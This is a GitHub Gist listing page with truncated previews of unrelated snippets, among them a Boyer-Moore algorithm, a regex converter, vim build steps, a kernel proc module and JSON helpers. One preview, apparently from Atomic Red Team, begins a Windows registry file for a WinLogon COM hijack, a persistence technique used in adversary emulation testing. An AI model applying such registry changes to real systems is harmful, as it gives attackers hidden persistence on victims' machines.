Skip to content

Instantly share code, notes, and snippets.

@dbrgn
dbrgn / boyer-moore.py
Created August 18, 2011 12:55
Boyer-Moore-Algorithm in Python
class last_occurrence(object):
"""Last occurrence functor."""
def __init__(self, pattern, alphabet):
"""Generate a dictionary with the last occurrence of each alphabet
letter inside the pattern.
Note: This function uses str.rfind, which already is a pattern
matching algorithm. There are more 'basic' ways to generate this
dictionary."""
@gmenard
gmenard / RegExConverter.java
Last active February 21, 2023 10:50
Convert regular expression from infix to postfix notation using Shunting-yard algorithm. Insert a '.' as explicit concatenation operator.
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Stack;
public class RegExConverter {
/** Operators precedence map. */
@techgaun
techgaun / vim8.x_with_lua
Last active March 30, 2024 22:09
Install vim with lua support on ubuntu 16.04
I needed to install vim with lua support because I wanted to use neocomplete in my recently installed 15.04 distro. Also, this has python3 enabled by default.
Tested on 16.04 now
Update: This has been tested and verified to work on Ubuntu 16.04 as well. Also, if you wish to use particular branch/tag, you can get the version and then checkout appropriately.
The following (based upon https://gist.github.com/jdewit/9818870) should work though I copied it from history:
sudo apt-get remove --purge vim vim-runtime vim-gnome vim-tiny vim-common vim-gui-common
sudo apt-get build-dep vim-gnome
sudo apt-get install build-essential liblua5.3-0 liblua5.3-dev python-dev ruby-dev libperl-dev libncurses5-dev libgnome2-dev libgnomeui-dev libgtk2.0-dev libatk1.0-dev libbonoboui2-dev libcairo2-dev libx11-dev libxpm-dev libxt-dev
@rygorous
rygorous / float2half.cpp
Last active December 2, 2023 16:44
float->half variants (quasi-BSD license)
// float->half variants.
// by Fabian "ryg" Giesen.
//
// This is a re-licensed version of https://gist.github.com/rygorous/2156668,
// prepared by the original author, on request.
//
// Copyright (c) Fabian Giesen, 2016
// All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted.
@BrotherJing
BrotherJing / helloproc.c
Created June 1, 2016 10:43
write a kernel module, which create a read/write proc file
#include<linux/module.h>
#include<linux/init.h>
#include<linux/proc_fs.h>
#include<linux/sched.h>
#include<linux/uaccess.h>
#include<linux/fs.h>
#include<linux/seq_file.h>
#include<linux/slab.h>
static char *str = NULL;
@mubix
mubix / infosec_newbie.md
Last active July 4, 2024 21:11
How to start in Infosec
@simonw
simonw / recover_source_code.md
Last active June 21, 2024 00:11
How to recover lost Python source code if it's still resident in-memory

How to recover lost Python source code if it's still resident in-memory

I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6

Attach a shell to the docker container

Install GDB (needed by pyrasite)

apt-get update && apt-get install gdb
@akehrer
akehrer / sqlite_to_json.sql
Created January 9, 2018 19:58
SQLite Results as JSON using the SQLite JSON1 extension
-- When SQLite is compiled with the JSON1 extensions it provides builtin tools
-- for manipulating JSON data stored in the database.
-- This is a gist showing SQLite return query data as a JSON object.
-- https://www.sqlite.org/json1.html
-- An example table with some data
CREATE TABLE users (
id INTEGER PRIMARY KEY NOT NULL,
full_name TEXT NOT NULL,
email TEXT NOT NULL,
anonymous
anonymous / winlogon.reg
Created February 11, 2018 19:10
WinLogon Windows 7 x64 COM Hijack
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@stnguyen90
stnguyen90 / handling-null-json-arrays-in-go-dynamic-initialization.go
Last active September 6, 2023 10:09
Handling Null JSON Arrays in Go - Dynamic Initialization
package main
import (
"encoding/json"
"fmt"
"reflect"
)
// Bag holds items
type Bag struct {